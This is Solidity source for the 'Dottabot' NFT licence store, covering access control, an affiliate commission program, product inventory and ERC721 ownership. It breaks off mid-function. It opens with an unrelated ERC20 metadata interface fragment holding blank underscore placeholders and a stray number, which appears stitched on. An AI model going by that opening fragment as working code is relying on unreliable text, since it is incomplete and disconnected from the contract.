Interface for the optional metadata functions from the ERC20 standard. _Available since v4.1._/
interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); _____ _____ _____ _____ _______ _____ }
9,731,047
pragma solidity ^0.4.13; interface ERC721Enumerable /* is ERC721 */ { /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() public view returns (uint256); /// @notice Enumerate valid NFTs /// @dev Throws if `_index` >= `totalSupply()`. /// @param _index A counter less than `totalSupply()` /// @return The token identifier for the `_index`th NFT, /// (sort order not specified) function tokenByIndex(uint256 _index) external view returns (uint256); /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId); } interface ERC721Metadata /* is ERC721 */ { /// @notice A descriptive name for a collection of NFTs in this contract function name() external pure returns (string _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external pure returns (string _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. This function MUST use 50,000 gas or less. Return of other /// than the magic value MUST result in the transaction being reverted. /// Note: the contract address is always the message sender. /// @param _from The sending address /// @param _tokenId The NFT identifier which is being transfered /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _from, uint256 _tokenId, bytes _data) external returns(bytes4); } library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract LicenseAccessControl { /** * @notice ContractUpgrade is the event that will be emitted if we set a new contract address */ event ContractUpgrade(address newContract); event Paused(); event Unpaused(); /** * @notice CEO's address FOOBAR */ address public ceoAddress; /** * @notice CFO's address */ address public cfoAddress; /** * @notice COO's address */ address public cooAddress; /** * @notice withdrawal address */ address public withdrawalAddress; bool public paused = false; /** * @dev Modifier to make a function only callable by the CEO */ modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /** * @dev Modifier to make a function only callable by the CFO */ modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /** * @dev Modifier to make a function only callable by the COO */ modifier onlyCOO() { require(msg.sender == cooAddress); _; } /** * @dev Modifier to make a function only callable by C-level execs */ modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /** * @dev Modifier to make a function only callable by CEO or CFO */ modifier onlyCEOOrCFO() { require( msg.sender == cfoAddress || msg.sender == ceoAddress ); _; } /** * @dev Modifier to make a function only callable by CEO or COO */ modifier onlyCEOOrCOO() { require( msg.sender == cooAddress || msg.sender == ceoAddress ); _; } /** * @notice Sets a new CEO * @param _newCEO - the address of the new CEO */ function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /** * @notice Sets a new CFO * @param _newCFO - the address of the new CFO */ function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /** * @notice Sets a new COO * @param _newCOO - the address of the new COO */ function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /** * @notice Sets a new withdrawalAddress * @param _newWithdrawalAddress - the address where we'll send the funds */ function setWithdrawalAddress(address _newWithdrawalAddress) external onlyCEO { require(_newWithdrawalAddress != address(0)); withdrawalAddress = _newWithdrawalAddress; } /** * @notice Withdraw the balance to the withdrawalAddress * @dev We set a withdrawal address seperate from the CFO because this allows us to withdraw to a cold wallet. */ function withdrawBalance() external onlyCEOOrCFO { require(withdrawalAddress != address(0)); withdrawalAddress.transfer(this.balance); } /** Pausable functionality adapted from OpenZeppelin **/ /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @notice called by any C-level to pause, triggers stopped state */ function pause() public onlyCLevel whenNotPaused { paused = true; Paused(); } /** * @notice called by the CEO to unpause, returns to normal state */ function unpause() public onlyCEO whenPaused { paused = false; Unpaused(); } } contract LicenseBase is LicenseAccessControl { /** * @notice Issued is emitted when a new license is issued */ event LicenseIssued( address indexed owner, address indexed purchaser, uint256 licenseId, uint256 productId, uint256 attributes, uint256 issuedTime, uint256 expirationTime, address affiliate ); event LicenseRenewal( address indexed owner, address indexed purchaser, uint256 licenseId, uint256 productId, uint256 expirationTime ); struct License { uint256 productId; uint256 attributes; uint256 issuedTime; uint256 expirationTime; address affiliate; } /** * @notice All licenses in existence. * @dev The ID of each license is an index in this array. */ License[] licenses; /** internal **/ function _isValidLicense(uint256 _licenseId) internal view returns (bool) { return licenseProductId(_licenseId) != 0; } /** anyone **/ /** * @notice Get a license's productId * @param _licenseId the license id */ function licenseProductId(uint256 _licenseId) public view returns (uint256) { return licenses[_licenseId].productId; } /** * @notice Get a license's attributes * @param _licenseId the license id */ function licenseAttributes(uint256 _licenseId) public view returns (uint256) { return licenses[_licenseId].attributes; } /** * @notice Get a license's issueTime * @param _licenseId the license id */ function licenseIssuedTime(uint256 _licenseId) public view returns (uint256) { return licenses[_licenseId].issuedTime; } /** * @notice Get a license's issueTime * @param _licenseId the license id */ function licenseExpirationTime(uint256 _licenseId) public view returns (uint256) { return licenses[_licenseId].expirationTime; } /** * @notice Get a the affiliate credited for the sale of this license * @param _licenseId the license id */ function licenseAffiliate(uint256 _licenseId) public view returns (address) { return licenses[_licenseId].affiliate; } /** * @notice Get a license's info * @param _licenseId the license id */ function licenseInfo(uint256 _licenseId) public view returns (uint256, uint256, uint256, uint256, address) { return ( licenseProductId(_licenseId), licenseAttributes(_licenseId), licenseIssuedTime(_licenseId), licenseExpirationTime(_licenseId), licenseAffiliate(_licenseId) ); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract AffiliateProgram is Pausable { using SafeMath for uint256; event AffiliateCredit( // The address of the affiliate address affiliate, // The store's ID of what was sold (e.g. a tokenId) uint256 productId, // The amount owed this affiliate in this sale uint256 amount ); event Withdraw(address affiliate, address to, uint256 amount); event Whitelisted(address affiliate, uint256 amount); event RateChanged(uint256 rate, uint256 amount); // @notice A mapping from affiliate address to their balance mapping (address => uint256) public balances; // @notice A mapping from affiliate address to the time of last deposit mapping (address => uint256) public lastDepositTimes; // @notice The last deposit globally uint256 public lastDepositTime; // @notice The maximum rate for any affiliate // @dev The hard-coded maximum affiliate rate (in basis points) // All rates are measured in basis points (1/100 of a percent) // Values 0-10,000 map to 0%-100% uint256 private constant hardCodedMaximumRate = 5000; // @notice The commission exiration time // @dev Affiliate commissions expire if they are unclaimed after this amount of time uint256 private constant commissionExpiryTime = 30 days; // @notice The baseline affiliate rate (in basis points) for non-whitelisted referrals uint256 public baselineRate = 0; // @notice A mapping from whitelisted referrals to their individual rates mapping (address => uint256) public whitelistRates; // @notice The maximum rate for any affiliate // @dev overrides individual rates. This can be used to clip the rate used in bulk, if necessary uint256 public maximumRate = 5000; // @notice The address of the store selling products address public storeAddress; // @notice The contract is retired // @dev If we decide to retire this program, this value will be set to true // and then the contract cannot be unpaused bool public retired = false; /** * @dev Modifier to make a function only callable by the store or the owner */ modifier onlyStoreOrOwner() { require( msg.sender == storeAddress || msg.sender == owner); _; } /** * @dev AffiliateProgram constructor - keeps the address of it's parent store * and pauses the contract */ function AffiliateProgram(address _storeAddress) public { require(_storeAddress != address(0)); storeAddress = _storeAddress; paused = true; } /** * @notice Exposes that this contract thinks it is an AffiliateProgram */ function isAffiliateProgram() public pure returns (bool) { return true; } /** * @notice returns the commission rate for a sale * * @dev rateFor returns the rate which should be used to calculate the comission * for this affiliate/sale combination, in basis points (1/100th of a percent). * * We may want to completely blacklist a particular address (e.g. a known bad actor affilite). * To that end, if the whitelistRate is exactly 1bp, we use that as a signal for blacklisting * and return a rate of zero. The upside is that we can completely turn off * sending transactions to a particular address when this is needed. The * downside is that you can't issued 1/100th of a percent commission. * However, since this is such a small amount its an acceptable tradeoff. * * This implementation does not use the _productId, _pruchaseId, * _purchaseAmount, but we include them here as part of the protocol, because * they could be useful in more advanced affiliate programs. * * @param _affiliate - the address of the affiliate to check for */ function rateFor( address _affiliate, uint256 /*_productId*/, uint256 /*_purchaseId*/, uint256 /*_purchaseAmount*/) public view returns (uint256) { uint256 whitelistedRate = whitelistRates[_affiliate]; if(whitelistedRate > 0) { // use 1 bp as a blacklist signal if(whitelistedRate == 1) { return 0; } else { return Math.min256(whitelistedRate, maximumRate); } } else { return Math.min256(baselineRate, maximumRate); } } /** * @notice cutFor returns the affiliate cut for a sale * @dev cutFor returns the cut (amount in wei) to give in comission to the affiliate * * @param _affiliate - the address of the affiliate to check for * @param _productId - the productId in the sale * @param _purchaseId - the purchaseId in the sale * @param _purchaseAmount - the purchaseAmount */ function cutFor( address _affiliate, uint256 _productId, uint256 _purchaseId, uint256 _purchaseAmount) public view returns (uint256) { uint256 rate = rateFor( _affiliate, _productId, _purchaseId, _purchaseAmount); require(rate <= hardCodedMaximumRate); return (_purchaseAmount.mul(rate)).div(10000); } /** * @notice credit an affiliate for a purchase * @dev credit accepts eth and credits the affiliate's balance for the amount * * @param _affiliate - the address of the affiliate to credit * @param _purchaseId - the purchaseId of the sale */ function credit( address _affiliate, uint256 _purchaseId) public onlyStoreOrOwner whenNotPaused payable { require(msg.value > 0); require(_affiliate != address(0)); balances[_affiliate] += msg.value; lastDepositTimes[_affiliate] = now; // solium-disable-line security/no-block-members lastDepositTime = now; // solium-disable-line security/no-block-members AffiliateCredit(_affiliate, _purchaseId, msg.value); } /** * @dev _performWithdraw performs a withdrawal from address _from and * transfers it to _to. This can be different because we allow the owner * to withdraw unclaimed funds after a period of time. * * @param _from - the address to subtract balance from * @param _to - the address to transfer ETH to */ function _performWithdraw(address _from, address _to) private { require(balances[_from] > 0); uint256 balanceValue = balances[_from]; balances[_from] = 0; _to.transfer(balanceValue); Withdraw(_from, _to, balanceValue); } /** * @notice withdraw * @dev withdraw the msg.sender's balance */ function withdraw() public whenNotPaused { _performWithdraw(msg.sender, msg.sender); } /** * @notice withdraw from a specific account * @dev withdrawFrom allows the owner to withdraw an affiliate's unclaimed * ETH, after the alotted time. * * This function can be called even if the contract is paused * * @param _affiliate - the address of the affiliate * @param _to - the address to send ETH to */ function withdrawFrom(address _affiliate, address _to) onlyOwner public { // solium-disable-next-line security/no-block-members require(now > lastDepositTimes[_affiliate].add(commissionExpiryTime)); _performWithdraw(_affiliate, _to); } /** * @notice retire the contract (dangerous) * @dev retire - withdraws the entire balance and marks the contract as retired, which * prevents unpausing. * * If no new comissions have been deposited for the alotted time, * then the owner may pause the program and retire this contract. * This may only be performed once as the contract cannot be unpaused. * * We do this as an alternative to selfdestruct, because certain operations * can still be performed after the contract has been selfdestructed, such as * the owner withdrawing ETH accidentally sent here. */ function retire(address _to) onlyOwner whenPaused public { // solium-disable-next-line security/no-block-members require(now > lastDepositTime.add(commissionExpiryTime)); _to.transfer(this.balance); retired = true; } /** * @notice whitelist an affiliate address * @dev whitelist - white listed affiliates can receive a different * rate than the general public (whitelisted accounts would generally get a * better rate). * @param _affiliate - the affiliate address to whitelist * @param _rate - the rate, in basis-points (1/100th of a percent) to give this affiliate in each sale. NOTE: a rate of exactly 1 is the signal to blacklist this affiliate. That is, a rate of 1 will set the commission to 0. */ function whitelist(address _affiliate, uint256 _rate) onlyOwner public { require(_rate <= hardCodedMaximumRate); whitelistRates[_affiliate] = _rate; Whitelisted(_affiliate, _rate); } /** * @notice set the rate for non-whitelisted affiliates * @dev setBaselineRate - sets the baseline rate for any affiliate that is not whitelisted * @param _newRate - the rate, in bp (1/100th of a percent) to give any non-whitelisted affiliate. Set to zero to "turn off" */ function setBaselineRate(uint256 _newRate) onlyOwner public { require(_newRate <= hardCodedMaximumRate); baselineRate = _newRate; RateChanged(0, _newRate); } /** * @notice set the maximum rate for any affiliate * @dev setMaximumRate - Set the maximum rate for any affiliate, including whitelists. That is, this overrides individual rates. * @param _newRate - the rate, in bp (1/100th of a percent) */ function setMaximumRate(uint256 _newRate) onlyOwner public { require(_newRate <= hardCodedMaximumRate); maximumRate = _newRate; RateChanged(1, _newRate); } /** * @notice unpause the contract * @dev called by the owner to unpause, returns to normal state. Will not * unpause if the contract is retired. */ function unpause() onlyOwner whenPaused public { require(!retired); paused = false; Unpause(); } } contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) external; function setApprovalForAll(address _to, bool _approved) external; function getApproved(uint256 _tokenId) public view returns (address); function isApprovedForAll(address _owner, address _operator) public view returns (bool); } contract LicenseInventory is LicenseBase { using SafeMath for uint256; event ProductCreated( uint256 id, uint256 price, uint256 available, uint256 supply, uint256 interval, bool renewable ); event ProductInventoryAdjusted(uint256 productId, uint256 available); event ProductPriceChanged(uint256 productId, uint256 price); event ProductRenewableChanged(uint256 productId, bool renewable); /** * @notice Product defines a product * * renewable: There may come a time when we which to disable the ability to renew a subscription. For example, a plan we no longer wish to support. Obviously care needs to be taken with how we communicate this to customers, but contract-wise, we want to support the ability to discontinue renewal of certain plans. */ struct Product { uint256 id; uint256 price; uint256 available; uint256 supply; uint256 sold; uint256 interval; bool renewable; } // @notice All products in existence uint256[] public allProductIds; // @notice A mapping from product ids to Products mapping (uint256 => Product) public products; /*** internal ***/ /** * @notice _productExists checks to see if a product exists */ function _productExists(uint256 _productId) internal view returns (bool) { return products[_productId].id != 0; } function _productDoesNotExist(uint256 _productId) internal view returns (bool) { return products[_productId].id == 0; } function _createProduct( uint256 _productId, uint256 _initialPrice, uint256 _initialInventoryQuantity, uint256 _supply, uint256 _interval) internal { require(_productDoesNotExist(_productId)); require(_initialInventoryQuantity <= _supply); Product memory _product = Product({ id: _productId, price: _initialPrice, available: _initialInventoryQuantity, supply: _supply, sold: 0, interval: _interval, renewable: _interval == 0 ? false : true }); products[_productId] = _product; allProductIds.push(_productId); ProductCreated( _product.id, _product.price, _product.available, _product.supply, _product.interval, _product.renewable ); } function _incrementInventory( uint256 _productId, uint256 _inventoryAdjustment) internal { require(_productExists(_productId)); uint256 newInventoryLevel = products[_productId].available.add(_inventoryAdjustment); // A supply of "0" means "unlimited". Otherwise we need to ensure that we're not over-creating this product if(products[_productId].supply > 0) { // you have to take already sold into account require(products[_productId].sold.add(newInventoryLevel) <= products[_productId].supply); } products[_productId].available = newInventoryLevel; } function _decrementInventory( uint256 _productId, uint256 _inventoryAdjustment) internal { require(_productExists(_productId)); uint256 newInventoryLevel = products[_productId].available.sub(_inventoryAdjustment); // unnecessary because we're using SafeMath and an unsigned int // require(newInventoryLevel >= 0); products[_productId].available = newInventoryLevel; } function _clearInventory(uint256 _productId) internal { require(_productExists(_productId)); products[_productId].available = 0; } function _setPrice(uint256 _productId, uint256 _price) internal { require(_productExists(_productId)); products[_productId].price = _price; } function _setRenewable(uint256 _productId, bool _isRenewable) internal { require(_productExists(_productId)); products[_productId].renewable = _isRenewable; } function _purchaseOneUnitInStock(uint256 _productId) internal { require(_productExists(_productId)); require(availableInventoryOf(_productId) > 0); // lower inventory _decrementInventory(_productId, 1); // record that one was sold products[_productId].sold = products[_productId].sold.add(1); } function _requireRenewableProduct(uint256 _productId) internal view { // productId must exist require(_productId != 0); // You can only renew a subscription product require(isSubscriptionProduct(_productId)); // The product must currently be renewable require(renewableOf(_productId)); } /*** public ***/ /** executives-only **/ /** * @notice createProduct creates a new product in the system * @param _productId - the id of the product to use (cannot be changed) * @param _initialPrice - the starting price (price can be changed) * @param _initialInventoryQuantity - the initial inventory (inventory can be changed) * @param _supply - the total supply - use `0` for "unlimited" (cannot be changed) */ function createProduct( uint256 _productId, uint256 _initialPrice, uint256 _initialInventoryQuantity, uint256 _supply, uint256 _interval) external onlyCEOOrCOO { _createProduct( _productId, _initialPrice, _initialInventoryQuantity, _supply, _interval); } /** * @notice incrementInventory - increments the inventory of a product * @param _productId - the product id * @param _inventoryAdjustment - the amount to increment */ function incrementInventory( uint256 _productId, uint256 _inventoryAdjustment) external onlyCLevel { _incrementInventory(_productId, _inventoryAdjustment); ProductInventoryAdjusted(_productId, availableInventoryOf(_productId)); } /** * @notice decrementInventory removes inventory levels for a product * @param _productId - the product id * @param _inventoryAdjustment - the amount to decrement */ function decrementInventory( uint256 _productId, uint256 _inventoryAdjustment) external onlyCLevel { _decrementInventory(_productId, _inventoryAdjustment); ProductInventoryAdjusted(_productId, availableInventoryOf(_productId)); } /** * @notice clearInventory clears the inventory of a product. * @dev decrementInventory verifies inventory levels, whereas this method * simply sets the inventory to zero. This is useful, for example, if an * executive wants to take a product off the market quickly. There could be a * race condition with decrementInventory where a product is sold, which could * cause the admins decrement to fail (because it may try to decrement more * than available). * * @param _productId - the product id */ function clearInventory(uint256 _productId) external onlyCLevel { _clearInventory(_productId); ProductInventoryAdjusted(_productId, availableInventoryOf(_productId)); } /** * @notice setPrice - sets the price of a product * @param _productId - the product id * @param _price - the product price */ function setPrice(uint256 _productId, uint256 _price) external onlyCLevel { _setPrice(_productId, _price); ProductPriceChanged(_productId, _price); } /** * @notice setRenewable - sets if a product is renewable * @param _productId - the product id * @param _newRenewable - the new renewable setting */ function setRenewable(uint256 _productId, bool _newRenewable) external onlyCLevel { _setRenewable(_productId, _newRenewable); ProductRenewableChanged(_productId, _newRenewable); } /** anyone **/ /** * @notice The price of a product * @param _productId - the product id */ function priceOf(uint256 _productId) public view returns (uint256) { return products[_productId].price; } /** * @notice The available inventory of a product * @param _productId - the product id */ function availableInventoryOf(uint256 _productId) public view returns (uint256) { return products[_productId].available; } /** * @notice The total supply of a product * @param _productId - the product id */ function totalSupplyOf(uint256 _productId) public view returns (uint256) { return products[_productId].supply; } /** * @notice The total sold of a product * @param _productId - the product id */ function totalSold(uint256 _productId) public view returns (uint256) { return products[_productId].sold; } /** * @notice The renewal interval of a product in seconds * @param _productId - the product id */ function intervalOf(uint256 _productId) public view returns (uint256) { return products[_productId].interval; } /** * @notice Is this product renewable? * @param _productId - the product id */ function renewableOf(uint256 _productId) public view returns (bool) { return products[_productId].renewable; } /** * @notice The product info for a product * @param _productId - the product id */ function productInfo(uint256 _productId) public view returns (uint256, uint256, uint256, uint256, bool) { return ( priceOf(_productId), availableInventoryOf(_productId), totalSupplyOf(_productId), intervalOf(_productId), renewableOf(_productId)); } /** * @notice Get all product ids */ function getAllProductIds() public view returns (uint256[]) { return allProductIds; } /** * @notice returns the total cost to renew a product for a number of cycles * @dev If a product is a subscription, the interval defines the period of * time, in seconds, users can subscribe for. E.g. 1 month or 1 year. * _numCycles is the number of these intervals we want to use in the * calculation of the price. * * We require that the end user send precisely the amount required (instead * of dealing with excess refunds). This method is public so that clients can * read the exact amount our contract expects to receive. * * @param _productId - the product we're calculating for * @param _numCycles - the number of cycles to calculate for */ function costForProductCycles(uint256 _productId, uint256 _numCycles) public view returns (uint256) { return priceOf(_productId).mul(_numCycles); } /** * @notice returns if this product is a subscription or not * @dev Some products are subscriptions and others are not. An interval of 0 * means the product is not a subscription * @param _productId - the product we're checking */ function isSubscriptionProduct(uint256 _productId) public view returns (bool) { return intervalOf(_productId) > 0; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } contract LicenseOwnership is LicenseInventory, ERC721, ERC165, ERC721Metadata, ERC721Enumerable { using SafeMath for uint256; // Total amount of tokens uint256 private totalTokens; // Mapping from token ID to owner mapping (uint256 => address) private tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private tokenApprovals; // Mapping from owner address to operator address to approval mapping (address => mapping (address => bool)) private operatorApprovals; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) private ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private ownedTokensIndex; /*** Constants ***/ // Configure these for your own deployment string public constant NAME = "Dottabot"; string public constant SYMBOL = "DOTTA"; string public tokenMetadataBaseURI = "https://api.dottabot.com/"; /** * @notice token's name */ function name() external pure returns (string) { return NAME; } /** * @notice symbols's name */ function symbol() external pure returns (string) { return SYMBOL; } function implementsERC721() external pure returns (bool) { return true; } function tokenURI(uint256 _tokenId) external view returns (string infoUrl) { return Strings.strConcat( tokenMetadataBaseURI, Strings.uint2str(_tokenId)); } function supportsInterface( bytes4 interfaceID) // solium-disable-line dotta/underscore-function-arguments external view returns (bool) { return interfaceID == this.supportsInterface.selector || // ERC165 interfaceID == 0x5b5e139f || // ERC721Metadata interfaceID == 0x6466353c || // ERC-721 on 3/7/2018 interfaceID == 0x780e9d63; // ERC721Enumerable } function setTokenMetadataBaseURI(string _newBaseURI) external onlyCEOOrCOO { tokenMetadataBaseURI = _newBaseURI; } /** * @notice Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @notice Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return totalTokens; } /** * @notice Enumerate valid NFTs * @dev Our Licenses are kept in an array and each new License-token is just * the next element in the array. This method is required for ERC721Enumerable * which may support more complicated storage schemes. However, in our case the * _index is the tokenId * @param _index A counter less than `totalSupply()` * @return The token identifier for the `_index`th NFT */ function tokenByIndex(uint256 _index) external view returns (uint256) { require(_index < totalSupply()); return _index; } /** * @notice Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokens[_owner].length; } /** * @notice Gets the list of tokens owned by a given address * @param _owner address to query the tokens of * @return uint256[] representing the list of tokens owned by the passed address */ function tokensOf(address _owner) public view returns (uint256[]) { return ownedTokens[_owner]; } /** * @notice Enumerate NFTs assigned to an owner * @dev Throws if `_index` >= `balanceOf(_owner)` or if * `_owner` is the zero address, representing invalid NFTs. * @param _owner An address where we are interested in NFTs owned by them * @param _index A counter less than `balanceOf(_owner)` * @return The token identifier for the `_index`th NFT assigned to `_owner`, */ function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @notice Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @notice Gets the approved address to take ownership of a given token ID * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved to take ownership of the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @notice Tells whether the msg.sender is approved to transfer the given token ID or not * Checks both for specific approval and operator approval * @param _tokenId uint256 ID of the token to query the approval of * @return bool whether transfer by msg.sender is approved for the given token ID or not */ function isSenderApprovedFor(uint256 _tokenId) internal view returns (bool) { return ownerOf(_tokenId) == msg.sender || isSpecificallyApprovedFor(msg.sender, _tokenId) || isApprovedForAll(ownerOf(_tokenId), msg.sender); } /** * @notice Tells whether the msg.sender is approved for the given token ID or not * @param _asker address of asking for approval * @param _tokenId uint256 ID of the token to query the approval of * @return bool whether the msg.sender is approved for the given token ID or not */ function isSpecificallyApprovedFor(address _asker, uint256 _tokenId) internal view returns (bool) { return getApproved(_tokenId) == _asker; } /** * @notice Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @notice Transfers the ownership of a given token ID to another address * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transfer(address _to, uint256 _tokenId) external whenNotPaused onlyOwnerOf(_tokenId) { _clearApprovalAndTransfer(msg.sender, _to, _tokenId); } /** * @notice Approves another address to claim for the ownership of the given token ID * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) external whenNotPaused onlyOwnerOf(_tokenId) { address owner = ownerOf(_tokenId); require(_to != owner); if (getApproved(_tokenId) != 0 || _to != 0) { tokenApprovals[_tokenId] = _to; Approval(owner, _to, _tokenId); } } /** * @notice Enable or disable approval for a third party ("operator") to manage all your assets * @dev Emits the ApprovalForAll event * @param _to Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval */ function setApprovalForAll(address _to, bool _approved) external whenNotPaused { if(_approved) { approveAll(_to); } else { disapproveAll(_to); } } /** * @notice Approves another address to claim for the ownership of any tokens owned by this account * @param _to address to be approved for the given token ID */ function approveAll(address _to) public whenNotPaused { require(_to != msg.sender); require(_to != address(0)); operatorApprovals[msg.sender][_to] = true; ApprovalForAll(msg.sender, _to, true); } /** * @notice Removes approval for another address to claim for the ownership of any * tokens owned by this account. * @dev Note that this only removes the operator approval and * does not clear any independent, specific approvals of token transfers to this address * @param _to address to be disapproved for the given token ID */ function disapproveAll(address _to) public whenNotPaused { require(_to != msg.sender); delete operatorApprovals[msg.sender][_to]; ApprovalForAll(msg.sender, _to, false); } /** * @notice Claims the ownership of a given token ID * @param _tokenId uint256 ID of the token being claimed by the msg.sender */ function takeOwnership(uint256 _tokenId) external whenNotPaused { require(isSenderApprovedFor(_tokenId)); _clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } /** * @notice Transfer a token owned by another address, for which the calling address has * previously been granted transfer approval by the owner. * @param _from The address that owns the token * @param _to The address that will take ownership of the token. Can be any address, including the caller * @param _tokenId The ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public whenNotPaused { require(isSenderApprovedFor(_tokenId)); require(ownerOf(_tokenId) == _from); _clearApprovalAndTransfer(ownerOf(_tokenId), _to, _tokenId); } /** * @notice Transfers the ownership of an NFT from one address to another address * @dev Throws unless `msg.sender` is the current owner, an authorized * operator, or the approved address for this NFT. Throws if `_from` is * not the current owner. Throws if `_to` is the zero address. Throws if * `_tokenId` is not a valid NFT. When transfer is complete, this function * checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public whenNotPaused { require(_to != address(0)); require(_isValidLicense(_tokenId)); transferFrom(_from, _to, _tokenId); if (_isContract(_to)) { bytes4 